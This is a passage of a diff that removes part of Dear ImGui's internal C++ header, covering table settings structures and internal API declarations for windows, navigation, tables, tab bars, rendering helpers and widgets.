ImGuiTableDrawChannelIdx Bg2DrawChannelUnfrozen; - bool IsLayoutLocked; // Set by TableUpdateLayout() which is called when beginning the first row. - bool IsInsideRow; // Set when inside TableBeginRow()/TableEndRow(). - bool IsInitializing; - bool IsSortSpecsDirty; - bool IsUsingHeaders; // Set when the first row had the ImGuiTableRowFlags_Headers flag. - bool IsContextPopupOpen; // Set when default context menu is open (also see: ContextPopupColumn, InstanceInteracted). - bool IsSettingsRequestLoad; - bool IsSettingsDirty; // Set when table settings have changed and needs to be reported into ImGuiTableSetttings data. - bool IsDefaultDisplayOrder; // Set when display order is unchanged from default (DisplayOrder contains 0...Count-1) - bool IsResetAllRequest; - bool IsResetDisplayOrderRequest; - bool IsUnfrozenRows; // Set when we got past the frozen row. - bool IsDefaultSizingPolicy; // Set if user didn't explicitly set a sizing policy in BeginTable() - bool MemoryCompacted; - bool HostSkipItems; // Backup of InnerWindow->SkipItem at the end of BeginTable(), because we will overwrite InnerWindow->SkipItem on a per-column basis - - IMGUI_API ImGuiTable() { memset(this, 0, sizeof(*this)); LastFrameActive = -1; } - IMGUI_API ~ImGuiTable() { IM_FREE(RawData); } -}; - -// sizeof() ~ 12 -struct ImGuiTableColumnSettings -{ - float WidthOrWeight; - ImGuiID UserID; - ImGuiTableColumnIdx Index; - ImGuiTableColumnIdx DisplayOrder; - ImGuiTableColumnIdx SortOrder; - ImU8 SortDirection : 2; - ImU8 IsEnabled : 1; // "Visible" in ini file - ImU8 IsStretch : 1; - - ImGuiTableColumnSettings() - { - WidthOrWeight = 0.0f; - UserID = 0; - Index = -1; - DisplayOrder = SortOrder = -1; - SortDirection = ImGuiSortDirection_None; - IsEnabled = 1; - IsStretch = 0; - } -}; - -// This is designed to be stored in a single ImChunkStream (1 header followed by N ImGuiTableColumnSettings, etc.) -struct ImGuiTableSettings -{ - ImGuiID ID; // Set to 0 to invalidate/delete the setting - ImGuiTableFlags SaveFlags; // Indicate data we want to save using the Resizable/Reorderable/Sortable/Hideable flags (could be using its own flags..) - float RefScale; // Reference scale to be able to rescale columns on font/dpi changes. - ImGuiTableColumnIdx ColumnsCount; - ImGuiTableColumnIdx ColumnsCountMax; // Maximum number of columns this settings instance can store, we can recycle a settings instance with lower number of columns but not higher - bool WantApply; // Set when loaded from .ini data (to enable merging/loading .ini data into an already running context) - - ImGuiTableSettings() { memset(this, 0, sizeof(*this)); } - ImGuiTableColumnSettings* GetColumnSettings() { return (ImGuiTableColumnSettings*)(this + 1); } -}; - -#endif // #ifdef IMGUI_HAS_TABLE - -//----------------------------------------------------------------------------- -// [SECTION] ImGui internal API -// No guarantee of forward compatibility here! -//----------------------------------------------------------------------------- - -namespace ImGui -{ - // Windows - // We should always have a CurrentWindow in the stack (there is an implicit "Debug" window) - // If this ever crash because g.CurrentWindow is NULL it means that either - // - ImGui::NewFrame() has never been called, which is illegal. - // - You are calling ImGui functions after ImGui::EndFrame()/ImGui::Render() and before the next ImGui::NewFrame(), which is also illegal. - inline ImGuiWindow* GetCurrentWindowRead() { ImGuiContext& g = *GImGui; return g.CurrentWindow; } - inline ImGuiWindow* GetCurrentWindow() { ImGuiContext& g = *GImGui; g.CurrentWindow->WriteAccessed = true; return g.CurrentWindow; } - IMGUI_API ImGuiWindow* FindWindowByID(ImGuiID id); - IMGUI_API ImGuiWindow* FindWindowByName(const char* name); - IMGUI_API void UpdateWindowParentAndRootLinks(ImGuiWindow* window, ImGuiWindowFlags flags, ImGuiWindow* parent_window); - IMGUI_API ImVec2 CalcWindowNextAutoFitSize(ImGuiWindow* window); - IMGUI_API bool IsWindowChildOf(ImGuiWindow* window, ImGuiWindow* potential_parent); - IMGUI_API bool IsWindowAbove(ImGuiWindow* potential_above, ImGuiWindow* potential_below); - IMGUI_API bool IsWindowNavFocusable(ImGuiWindow* window); - IMGUI_API ImRect GetWindowAllowedExtentRect(ImGuiWindow* window); - IMGUI_API void SetWindowPos(ImGuiWindow* window, const ImVec2& pos, ImGuiCond cond = 0); - IMGUI_API void SetWindowSize(ImGuiWindow* window, const ImVec2& size, ImGuiCond cond = 0); - IMGUI_API void SetWindowCollapsed(ImGuiWindow* window, bool collapsed, ImGuiCond cond = 0); - IMGUI_API void SetWindowHitTestHole(ImGuiWindow* window, const ImVec2& pos, const ImVec2& size); - - // Windows: Display Order and Focus Order - IMGUI_API void FocusWindow(ImGuiWindow* window); - IMGUI_API void FocusTopMostWindowUnderOne(ImGuiWindow* under_this_window, ImGuiWindow* ignore_window); - IMGUI_API void BringWindowToFocusFront(ImGuiWindow* window); - IMGUI_API void BringWindowToDisplayFront(ImGuiWindow* window); - IMGUI_API void BringWindowToDisplayBack(ImGuiWindow* window); - - // Fonts, drawing - IMGUI_API void SetCurrentFont(ImFont* font); - inline ImFont* GetDefaultFont() { ImGuiContext& g = *GImGui; return g.IO.FontDefault ? g.IO.FontDefault : g.IO.Fonts->Fonts[0]; } - inline ImDrawList* GetForegroundDrawList(ImGuiWindow* window) { IM_UNUSED(window); return GetForegroundDrawList(); } // This seemingly unnecessary wrapper simplifies compatibility between the 'master' and 'docking' branches. - IMGUI_API ImDrawList* GetBackgroundDrawList(ImGuiViewport* viewport); // get background draw list for the given viewport. this draw list will be the first rendering one. Useful to quickly draw shapes/text behind dear imgui contents. - IMGUI_API ImDrawList* GetForegroundDrawList(ImGuiViewport* viewport); // get foreground draw list for the given viewport. this draw list will be the last rendered one. Useful to quickly draw shapes/text over dear imgui contents. - - // Init - IMGUI_API void Initialize(ImGuiContext* context); - IMGUI_API void Shutdown(ImGuiContext* context); // Since 1.60 this is a _private_ function. You can call DestroyContext() to destroy the context created by CreateContext(). - - // NewFrame - IMGUI_API void UpdateHoveredWindowAndCaptureFlags(); - IMGUI_API void StartMouseMovingWindow(ImGuiWindow* window); - IMGUI_API void UpdateMouseMovingWindowNewFrame(); - IMGUI_API void UpdateMouseMovingWindowEndFrame(); - - // Generic context hooks - IMGUI_API ImGuiID AddContextHook(ImGuiContext* context, const ImGuiContextHook* hook); - IMGUI_API void RemoveContextHook(ImGuiContext* context, ImGuiID hook_to_remove); - IMGUI_API void CallContextHooks(ImGuiContext* context, ImGuiContextHookType type); - - // Settings - IMGUI_API void MarkIniSettingsDirty(); - IMGUI_API void MarkIniSettingsDirty(ImGuiWindow* window); - IMGUI_API void ClearIniSettings(); - IMGUI_API ImGuiWindowSettings* CreateNewWindowSettings(const char* name); - IMGUI_API ImGuiWindowSettings* FindWindowSettings(ImGuiID id); - IMGUI_API ImGuiWindowSettings* FindOrCreateWindowSettings(const char* name); - IMGUI_API ImGuiSettingsHandler* FindSettingsHandler(const char* type_name); - - // Scrolling - IMGUI_API void SetNextWindowScroll(const ImVec2& scroll); // Use -1.0f on one axis to leave as-is - IMGUI_API void SetScrollX(ImGuiWindow* window, float scroll_x); - IMGUI_API void SetScrollY(ImGuiWindow* window, float scroll_y); - IMGUI_API void SetScrollFromPosX(ImGuiWindow* window, float local_x, float center_x_ratio); - IMGUI_API void SetScrollFromPosY(ImGuiWindow* window, float local_y, float center_y_ratio); - IMGUI_API ImVec2 ScrollToBringRectIntoView(ImGuiWindow* window, const ImRect& item_rect); - - // Basic Accessors - inline ImGuiID GetItemID() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.LastItemId; } // Get ID of last item (~~ often same ImGui::GetID(label) beforehand) - inline ImGuiItemStatusFlags GetItemStatusFlags() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.LastItemStatusFlags; } - inline ImGuiID GetActiveID() { ImGuiContext& g = *GImGui; return g.ActiveId; } - inline ImGuiID GetFocusID() { ImGuiContext& g = *GImGui; return g.NavId; } - inline ImGuiItemFlags GetItemsFlags() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.ItemFlags; } - IMGUI_API void SetActiveID(ImGuiID id, ImGuiWindow* window); - IMGUI_API void SetFocusID(ImGuiID id, ImGuiWindow* window); - IMGUI_API void ClearActiveID(); - IMGUI_API ImGuiID GetHoveredID(); - IMGUI_API void SetHoveredID(ImGuiID id); - IMGUI_API void KeepAliveID(ImGuiID id); - IMGUI_API void MarkItemEdited(ImGuiID id); // Mark data associated to given item as "edited", used by IsItemDeactivatedAfterEdit() function. - IMGUI_API void PushOverrideID(ImGuiID id); // Push given value as-is at the top of the ID stack (whereas PushID combines old and new hashes) - IMGUI_API ImGuiID GetIDWithSeed(const char* str_id_begin, const char* str_id_end, ImGuiID seed); - - // Basic Helpers for widget code - IMGUI_API void ItemSize(const ImVec2& size, float text_baseline_y = -1.0f); - IMGUI_API void ItemSize(const ImRect& bb, float text_baseline_y = -1.0f); - IMGUI_API bool ItemAdd(const ImRect& bb, ImGuiID id, const ImRect* nav_bb = NULL); - IMGUI_API bool ItemHoverable(const ImRect& bb, ImGuiID id); - IMGUI_API bool IsClippedEx(const ImRect& bb, ImGuiID id, bool clip_even_when_logged); - IMGUI_API void SetLastItemData(ImGuiWindow* window, ImGuiID item_id, ImGuiItemStatusFlags status_flags, const ImRect& item_rect); - IMGUI_API bool FocusableItemRegister(ImGuiWindow* window, ImGuiID id); // Return true if focus is requested - IMGUI_API void FocusableItemUnregister(ImGuiWindow* window); - IMGUI_API ImVec2 CalcItemSize(ImVec2 size, float default_w, float default_h); - IMGUI_API float CalcWrapWidthForPos(const ImVec2& pos, float wrap_pos_x); - IMGUI_API void PushMultiItemsWidths(int components, float width_full); - IMGUI_API void PushItemFlag(ImGuiItemFlags option, bool enabled); - IMGUI_API void PopItemFlag(); - IMGUI_API bool IsItemToggledSelection(); // Was the last item selection toggled? (after Selectable(), TreeNode() etc. We only returns toggle _event_ in order to handle clipping correctly) - IMGUI_API ImVec2 GetContentRegionMaxAbs(); - IMGUI_API void ShrinkWidths(ImGuiShrinkWidthItem* items, int count, float width_excess); - - // Logging/Capture - IMGUI_API void LogBegin(ImGuiLogType type, int auto_open_depth); // -> BeginCapture() when we design v2 api, for now stay under the radar by using the old name. - IMGUI_API void LogToBuffer(int auto_open_depth = -1); // Start logging/capturing to internal buffer - IMGUI_API void LogRenderedText(const ImVec2* ref_pos, const char* text, const char* text_end = NULL); - IMGUI_API void LogSetNextTextDecoration(const char* prefix, const char* suffix); - - // Popups, Modals, Tooltips - IMGUI_API bool BeginChildEx(const char* name, ImGuiID id, const ImVec2& size_arg, bool border, ImGuiWindowFlags flags); - IMGUI_API void OpenPopupEx(ImGuiID id, ImGuiPopupFlags popup_flags = ImGuiPopupFlags_None); - IMGUI_API void ClosePopupToLevel(int remaining, bool restore_focus_to_window_under_popup); - IMGUI_API void ClosePopupsOverWindow(ImGuiWindow* ref_window, bool restore_focus_to_window_under_popup); - IMGUI_API bool IsPopupOpen(ImGuiID id, ImGuiPopupFlags popup_flags); - IMGUI_API bool BeginPopupEx(ImGuiID id, ImGuiWindowFlags extra_flags); - IMGUI_API void BeginTooltipEx(ImGuiWindowFlags extra_flags, ImGuiTooltipFlags tooltip_flags); - IMGUI_API ImGuiWindow* GetTopMostPopupModal(); - IMGUI_API ImVec2 FindBestWindowPosForPopup(ImGuiWindow* window); - IMGUI_API ImVec2 FindBestWindowPosForPopupEx(const ImVec2& ref_pos, const ImVec2& size, ImGuiDir* last_dir, const ImRect& r_outer, const ImRect& r_avoid, ImGuiPopupPositionPolicy policy); - - // Gamepad/Keyboard Navigation - IMGUI_API void NavInitWindow(ImGuiWindow* window, bool force_reinit); - IMGUI_API bool NavMoveRequestButNoResultYet(); - IMGUI_API void NavMoveRequestCancel(); - IMGUI_API void NavMoveRequestForward(ImGuiDir move_dir, ImGuiDir clip_dir, const ImRect& bb_rel, ImGuiNavMoveFlags move_flags); - IMGUI_API void NavMoveRequestTryWrapping(ImGuiWindow* window, ImGuiNavMoveFlags move_flags); - IMGUI_API float GetNavInputAmount(ImGuiNavInput n, ImGuiInputReadMode mode); - IMGUI_API ImVec2 GetNavInputAmount2d(ImGuiNavDirSourceFlags dir_sources, ImGuiInputReadMode mode, float slow_factor = 0.0f, float fast_factor = 0.0f); - IMGUI_API int CalcTypematicRepeatAmount(float t0, float t1, float repeat_delay, float repeat_rate); - IMGUI_API void ActivateItem(ImGuiID id); // Remotely activate a button, checkbox, tree node etc. given its unique ID. activation is queued and processed on the next frame when the item is encountered again. - IMGUI_API void SetNavID(ImGuiID id, int nav_layer, ImGuiID focus_scope_id, const ImRect& rect_rel); - - // Focus Scope (WIP) - // This is generally used to identify a selection set (multiple of which may be in the same window), as selection - // patterns generally need to react (e.g. clear selection) when landing on an item of the set. - IMGUI_API void PushFocusScope(ImGuiID id); - IMGUI_API void PopFocusScope(); - inline ImGuiID GetFocusedFocusScope() { ImGuiContext& g = *GImGui; return g.NavFocusScopeId; } // Focus scope which is actually active - inline ImGuiID GetFocusScope() { ImGuiContext& g = *GImGui; return g.CurrentWindow->DC.NavFocusScopeIdCurrent; } // Focus scope we are outputting into, set by PushFocusScope() - - // Inputs - // FIXME: Eventually we should aim to move e.g. IsActiveIdUsingKey() into IsKeyXXX functions. - IMGUI_API void SetItemUsingMouseWheel(); - inline bool IsActiveIdUsingNavDir(ImGuiDir dir) { ImGuiContext& g = *GImGui; return (g.ActiveIdUsingNavDirMask & (1 << dir)) != 0; } - inline bool IsActiveIdUsingNavInput(ImGuiNavInput input) { ImGuiContext& g = *GImGui; return (g.ActiveIdUsingNavInputMask & (1 << input)) != 0; } - inline bool IsActiveIdUsingKey(ImGuiKey key) { ImGuiContext& g = *GImGui; IM_ASSERT(key < 64); return (g.ActiveIdUsingKeyInputMask & ((ImU64)1 << key)) != 0; } - IMGUI_API bool IsMouseDragPastThreshold(ImGuiMouseButton button, float lock_threshold = -1.0f); - inline bool IsKeyPressedMap(ImGuiKey key, bool repeat = true) { ImGuiContext& g = *GImGui; const int key_index = g.IO.KeyMap[key]; return (key_index >= 0) ? IsKeyPressed(key_index, repeat) : false; } - inline bool IsNavInputDown(ImGuiNavInput n) { ImGuiContext& g = *GImGui; return g.IO.NavInputs[n] > 0.0f; } - inline bool IsNavInputTest(ImGuiNavInput n, ImGuiInputReadMode rm) { return (GetNavInputAmount(n, rm) > 0.0f); } - IMGUI_API ImGuiKeyModFlags GetMergedKeyModFlags(); - - // Drag and Drop - IMGUI_API bool BeginDragDropTargetCustom(const ImRect& bb, ImGuiID id); - IMGUI_API void ClearDragDrop(); - IMGUI_API bool IsDragDropPayloadBeingAccepted(); - - // Internal Columns API (this is not exposed because we will encourage transitioning to the Tables API) - IMGUI_API void SetWindowClipRectBeforeSetChannel(ImGuiWindow* window, const ImRect& clip_rect); - IMGUI_API void BeginColumns(const char* str_id, int count, ImGuiOldColumnFlags flags = 0); // setup number of columns. use an identifier to distinguish multiple column sets. close with EndColumns(). - IMGUI_API void EndColumns(); // close columns - IMGUI_API void PushColumnClipRect(int column_index); - IMGUI_API void PushColumnsBackground(); - IMGUI_API void PopColumnsBackground(); - IMGUI_API ImGuiID GetColumnsID(const char* str_id, int count); - IMGUI_API ImGuiOldColumns* FindOrCreateColumns(ImGuiWindow* window, ImGuiID id); - IMGUI_API float GetColumnOffsetFromNorm(const ImGuiOldColumns* columns, float offset_norm); - IMGUI_API float GetColumnNormFromOffset(const ImGuiOldColumns* columns, float offset); - - // Tables: Candidates for public API - IMGUI_API void TableOpenContextMenu(int column_n = -1); - IMGUI_API void TableSetColumnEnabled(int column_n, bool enabled); - IMGUI_API void TableSetColumnWidth(int column_n, float width); - IMGUI_API void TableSetColumnSortDirection(int column_n, ImGuiSortDirection sort_direction, bool append_to_sort_specs); - IMGUI_API int TableGetHoveredColumn(); // May use (TableGetColumnFlags() & ImGuiTableColumnFlags_IsHovered) instead. Return hovered column. return -1 when table is not hovered. return columns_count if the unused space at the right of visible columns is hovered. - IMGUI_API float TableGetHeaderRowHeight(); - IMGUI_API void TablePushBackgroundChannel(); - IMGUI_API void TablePopBackgroundChannel(); - - // Tables: Internals - inline ImGuiTable* GetCurrentTable() { ImGuiContext& g = *GImGui; return g.CurrentTable; } - IMGUI_API ImGuiTable* TableFindByID(ImGuiID id); - IMGUI_API bool BeginTableEx(const char* name, ImGuiID id, int columns_count, ImGuiTableFlags flags = 0, const ImVec2& outer_size = ImVec2(0, 0), float inner_width = 0.0f); - IMGUI_API void TableBeginInitMemory(ImGuiTable* table, int columns_count); - IMGUI_API void TableBeginApplyRequests(ImGuiTable* table); - IMGUI_API void TableSetupDrawChannels(ImGuiTable* table); - IMGUI_API void TableUpdateLayout(ImGuiTable* table); - IMGUI_API void TableUpdateBorders(ImGuiTable* table); - IMGUI_API void TableUpdateColumnsWeightFromWidth(ImGuiTable* table); - IMGUI_API void TableDrawBorders(ImGuiTable* table); - IMGUI_API void TableDrawContextMenu(ImGuiTable* table); - IMGUI_API void TableMergeDrawChannels(ImGuiTable* table); - IMGUI_API void TableSortSpecsSanitize(ImGuiTable* table); - IMGUI_API void TableSortSpecsBuild(ImGuiTable* table); - IMGUI_API ImGuiSortDirection TableGetColumnNextSortDirection(ImGuiTableColumn* column); - IMGUI_API void TableFixColumnSortDirection(ImGuiTable* table, ImGuiTableColumn* column); - IMGUI_API float TableGetColumnWidthAuto(ImGuiTable* table, ImGuiTableColumn* column); - IMGUI_API void TableBeginRow(ImGuiTable* table); - IMGUI_API void TableEndRow(ImGuiTable* table); - IMGUI_API void TableBeginCell(ImGuiTable* table, int column_n); - IMGUI_API void TableEndCell(ImGuiTable* table); - IMGUI_API ImRect TableGetCellBgRect(const ImGuiTable* table, int column_n); - IMGUI_API const char* TableGetColumnName(const ImGuiTable* table, int column_n); - IMGUI_API ImGuiID TableGetColumnResizeID(const ImGuiTable* table, int column_n, int instance_no = 0); - IMGUI_API float TableGetMaxColumnWidth(const ImGuiTable* table, int column_n); - IMGUI_API void TableSetColumnWidthAutoSingle(ImGuiTable* table, int column_n); - IMGUI_API void TableSetColumnWidthAutoAll(ImGuiTable* table); - IMGUI_API void TableRemove(ImGuiTable* table); - IMGUI_API void TableGcCompactTransientBuffers(ImGuiTable* table); - IMGUI_API void TableGcCompactSettings(); - - // Tables: Settings - IMGUI_API void TableLoadSettings(ImGuiTable* table); - IMGUI_API void TableSaveSettings(ImGuiTable* table); - IMGUI_API void TableResetSettings(ImGuiTable* table); - IMGUI_API ImGuiTableSettings* TableGetBoundSettings(ImGuiTable* table); - IMGUI_API void TableSettingsInstallHandler(ImGuiContext* context); - IMGUI_API ImGuiTableSettings* TableSettingsCreate(ImGuiID id, int columns_count); - IMGUI_API ImGuiTableSettings* TableSettingsFindByID(ImGuiID id); - - // Tab Bars - IMGUI_API bool BeginTabBarEx(ImGuiTabBar* tab_bar, const ImRect& bb, ImGuiTabBarFlags flags); - IMGUI_API ImGuiTabItem* TabBarFindTabByID(ImGuiTabBar* tab_bar, ImGuiID tab_id); - IMGUI_API void TabBarRemoveTab(ImGuiTabBar* tab_bar, ImGuiID tab_id); - IMGUI_API void TabBarCloseTab(ImGuiTabBar* tab_bar, ImGuiTabItem* tab); - IMGUI_API void TabBarQueueReorder(ImGuiTabBar* tab_bar, const ImGuiTabItem* tab, int dir); - IMGUI_API bool TabBarProcessReorder(ImGuiTabBar* tab_bar); - IMGUI_API bool TabItemEx(ImGuiTabBar* tab_bar, const char* label, bool* p_open, ImGuiTabItemFlags flags); - IMGUI_API ImVec2 TabItemCalcSize(const char* label, bool has_close_button); - IMGUI_API void TabItemBackground(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImU32 col); - IMGUI_API void TabItemLabelAndCloseButton(ImDrawList* draw_list, const ImRect& bb, ImGuiTabItemFlags flags, ImVec2 frame_padding, const char* label, ImGuiID tab_id, ImGuiID close_button_id, bool is_contents_visible, bool* out_just_closed, bool* out_text_clipped); - - // Render helpers - // AVOID USING OUTSIDE OF IMGUI.CPP! NOT FOR PUBLIC CONSUMPTION. THOSE FUNCTIONS ARE A MESS. THEIR SIGNATURE AND BEHAVIOR WILL CHANGE, THEY NEED TO BE REFACTORED INTO SOMETHING DECENT. - // NB: All position are in absolute pixels coordinates (we are never using window coordinates internally) - IMGUI_API void RenderText(ImVec2 pos, const char* text, const char* text_end = NULL, bool hide_text_after_hash = true); - IMGUI_API void RenderTextWrapped(ImVec2 pos, const char* text, const char* text_end, float wrap_width); - IMGUI_API void RenderTextClipped(const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_end, const ImVec2* text_size_if_known, const ImVec2& align = ImVec2(0, 0), const ImRect* clip_rect = NULL); - IMGUI_API void RenderTextClippedEx(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, const char* text, const char* text_end, const ImVec2* text_size_if_known, const ImVec2& align = ImVec2(0, 0), const ImRect* clip_rect = NULL); - IMGUI_API void RenderTextEllipsis(ImDrawList* draw_list, const ImVec2& pos_min, const ImVec2& pos_max, float clip_max_x, float ellipsis_max_x, const char* text, const char* text_end, const ImVec2* text_size_if_known); - IMGUI_API void RenderFrame(ImVec2 p_min, ImVec2 p_max, ImU32 fill_col, bool border = true, float rounding = 0.0f); - IMGUI_API void RenderFrameBorder(ImVec2 p_min, ImVec2 p_max, float rounding = 0.0f); - IMGUI_API void RenderColorRectWithAlphaCheckerboard(ImDrawList* draw_list, ImVec2 p_min, ImVec2 p_max, ImU32 fill_col, float grid_step, ImVec2 grid_off, float rounding = 0.0f, int rounding_corners_flags = ~0); - IMGUI_API void RenderNavHighlight(const ImRect& bb, ImGuiID id, ImGuiNavHighlightFlags flags = ImGuiNavHighlightFlags_TypeDefault); // Navigation highlight - IMGUI_API const char* FindRenderedTextEnd(const char* text, const char* text_end = NULL); // Find the optional ## from which we stop displaying text. - - // Render helpers (those functions don't access any ImGui state!) - IMGUI_API void RenderArrow(ImDrawList* draw_list, ImVec2 pos, ImU32 col, ImGuiDir dir, float scale = 1.0f); - IMGUI_API void RenderBullet(ImDrawList* draw_list, ImVec2 pos, ImU32 col); - IMGUI_API void RenderCheckMark(ImDrawList* draw_list, ImVec2 pos, ImU32 col, float sz); - IMGUI_API void RenderMouseCursor(ImDrawList* draw_list, ImVec2 pos, float scale, ImGuiMouseCursor mouse_cursor, ImU32 col_fill, ImU32 col_border, ImU32 col_shadow); - IMGUI_API void RenderArrowPointingAt(ImDrawList* draw_list, ImVec2 pos, ImVec2 half_sz, ImGuiDir direction, ImU32 col); - IMGUI_API void RenderRectFilledRangeH(ImDrawList* draw_list, const ImRect& rect, ImU32 col, float x_start_norm, float x_end_norm, float rounding); - IMGUI_API void RenderRectFilledWithHole(ImDrawList* draw_list, ImRect outer, ImRect inner, ImU32 col, float rounding); - -#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS - // [1.71: 2019/06/07: Updating prototypes of some of the internal functions. Leaving those for reference for a short while] - inline void RenderArrow(ImVec2 pos, ImGuiDir dir, float scale=1.0f) { ImGuiWindow* window = GetCurrentWindow(); RenderArrow(window->DrawList, pos, GetColorU32(ImGuiCol_Text), dir, scale); } - inline void RenderBullet(ImVec2 pos) { ImGuiWindow* window = GetCurrentWindow(); RenderBullet(window->DrawList, pos, GetColorU32(ImGuiCol_Text)); } -#endif - - // Widgets - IMGUI_API void TextEx(const char* text, const char* text_end = NULL, ImGuiTextFlags flags = 0); - IMGUI_API bool ButtonEx(const char* label, const ImVec2& size_arg = ImVec2(0, 0), ImGuiButtonFlags flags = 0); - IMGUI_API bool CloseButton(ImGuiID id, const ImVec2& pos); - IMGUI_API bool CollapseButton(ImGuiID id, const ImVec2& pos); - IMGUI_API bool ArrowButtonEx(const char* str_id, ImGuiDir dir, ImVec2 size_arg, ImGuiButtonFlags flags = 0); - IMGUI_API void Scrollbar(ImGuiAxis axis); - IMGUI_API bool ScrollbarEx(const ImRect& bb, ImGuiID id, ImGuiAxis axis, float* p_scroll_v, float avail_v, float contents_v, ImDrawCornerFlags rounding_corners); - IMGUI_API bool ImageButtonEx(ImGuiID id, ImTextureID texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec2& padding, const ImVec4& bg_col, const ImVec4& tint_col); - IMGUI_API ImRect GetWindowScrollbarRect(ImGuiWindow* window, ImGuiAxis axis); - IMGUI_API ImGuiID GetWindowScrollbarID(ImGuiWindow* window, ImGuiAxis axis); - IMGUI_API ImGuiID GetWindowResizeID(ImGuiWindow* window, int n); // 0..3: corners, 4..7: borders - IMGUI_API void SeparatorEx(ImGuiSeparatorFlags flags); - IMGUI_API bool CheckboxFlags(const char* label, ImS64* flags, ImS64 flags_value); - IMGUI_API bool CheckboxFlags(const char* label, ImU64* flags, ImU64 flags_value); - - // Widgets low-level behaviors - IMGUI_API bool ButtonBehavior(const ImRect& bb, ImGuiID id, bool* out_hovered, bool* out_held, ImGuiButtonFlags flags = 0); - IMGUI_API bool DragBehavior(ImGuiID id, ImGuiDataType data_type, void* p_v, float v_speed, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags); - IMGUI_API bool SliderBehavior(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, void* p_v, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb); - IMGUI_API bool SplitterBehavior(const ImRect& bb, ImGuiID id, ImGuiAxis axis, float* size1, float* size2, float min_size1, float min_size2, float hover_extend = 0.0f, float hover_visibility_delay = 0.0f); - IMGUI_API bool TreeNodeBehavior(ImGuiID id, ImGuiTreeNodeFlags flags, const char* label, const char* label_end = NULL); - IMGUI_API bool TreeNodeBehaviorIsOpen(ImGuiID id, ImGuiTreeNodeFlags flags = 0); // Consume previous SetNextItemOpen() data, if any. May return true when logging - IMGUI_API void TreePushOverrideID(ImGuiID id); - - // Template functions are instantiated in imgui_widgets.cpp for a finite number of types. - // To use them externally (for custom widget) you may need an "extern template" statement in your code in order to link to existing instances and silence Clang warnings (see #2036). - // e.g. " extern template IMGUI_API float RoundScalarWithFormatT(const char* format, ImGuiDataType data_type, float v); " - template IMGUI_API float ScaleRatioFromValueT(ImGuiDataType data_type, T v, T v_min, T v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_size); - template IMGUI_API T ScaleValueFromRatioT(ImGuiDataType data_type, float t, T v_min, T v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_size); - template IMGUI_API bool DragBehaviorT(ImGuiDataType data_type, T* v, float v_speed, T v_min, T v_max, const char* format, ImGuiSliderFlags flags); - template IMGUI_API bool SliderBehaviorT(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, T* v, T v_min, T v_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb); - template IMGUI_API T RoundScalarWithFormatT(const char* format, ImGuiDataType data_type, T v); - template IMGUI_API bool CheckboxFlagsT(const char* label, T* flags, T flags_value); - - // Data type helpers - IMGUI_API const ImGuiDataTypeInfo* DataTypeGetInfo(ImGuiDataType data_type); - IMGUI_API int DataTypeFormatString(char* buf, int buf_size, ImGuiDataType data_type, const void* p_data, const char* format); - IMGUI_API void DataTypeApplyOp(ImGuiDataType data_type, int op, void* output, const void* arg_1, const void* arg_2); - IMGUI_API bool DataTypeApplyOpFromText(const char* buf, const char* initial_value_buf, ImGuiDataType data_type, void* p_data, const char* format); - IMGUI_API int DataTypeCompare(ImGuiDataType data_type, const void* arg_1, const void* arg_2); - IMGUI_API bool DataTypeClamp(ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max); - - // InputText - IMGUI_API bool InputTextEx(const char* label, const char* hint, char* buf, int buf_size, const ImVec2& size_arg, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback = NULL, void* user_data = NULL); - IMGUI_API bool TempInputText(const ImRect& bb, ImGuiID id, const char* label, char* buf, int buf_size, ImGuiInputTextFlags flags); - IMGUI_API bool TempInputScalar(const ImRect& bb, ImGuiID id, const char* label, ImGuiDataType data_type, void* p_data, const char* format, const void* p_clamp_min = NULL, const void* p_clamp_max = NULL); - inline bool TempInputIsActive(ImGuiID id) { ImGuiContext& g = *GImGui; return (g.ActiveId == id && g.TempInputId == id); } - inline ImGuiInputTextState* GetInputTextState(ImGuiID id) { ImGuiContext& g = *GImGui; return (g.InputTextState.ID == id) ? &g.InputTextState : NULL; } // Get input text state if active - - // Color - IMGUI_API void ColorTooltip(const char* text, const float* col, ImGuiColorEditFlags flags); - IMGUI_API void ColorEditOptionsPopup(const float* col, ImGuiColorEditFlags flags); - IMGUI_API void ColorPickerOptionsPopup(const float* ref_col, ImGuiColorEditFlags flags); - - // Plot - IMGUI_API int PlotEx(ImGuiPlotType plot_type, const char* label, float (*values_getter)(void* data, int idx), void* data, int values_count, int values_offset, const char* overlay_text, float scale_min, float scale_max, ImVec2 frame_size); - - // Shade functions (write over already created vertices) - IMGUI_API void ShadeVertsLinearColorGradientKeepAlpha(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, ImVec2 gradient_p0, ImVec2 gradient_p1, ImU32 col0, ImU32 col1); - IMGUI_API void ShadeVertsLinearUV(ImDrawList* draw_list, int vert_start_idx, int vert_end_idx, const ImVec2& a, const ImVec2& b, const ImVec2& uv_a, const ImVec2& uv_b, bool clamp); - - // Garbage collection - IMGUI_API void GcCompactTransientMiscBuffers(); - IMGUI_API void GcCompactTransientWindowBuffers(ImGuiWindow* window); - IMGUI_API void GcAwakeTransientWindowBuffers(ImGuiWindow* window); - - // Debug Tools - IMGUI_API void ErrorCheckEndFrameRecover(ImGuiErrorLogCallback log_callback, void* user_data = NULL); - inline void DebugDrawItemRect(ImU32 col = IM_COL32(255,0,0,255)) { ImGuiContext& g = *GImGui; ImGuiWindow* window = g.CurrentWindow; GetForegroundDrawList(window)->AddRect(window->DC.LastItemRect.Min, window->DC.LastItemRect.Max, col); } - inline void DebugStartItemPicker() { ImGuiContext& g = *GImGui; g.DebugItemPickerActive = true; } - - IMGUI_API void 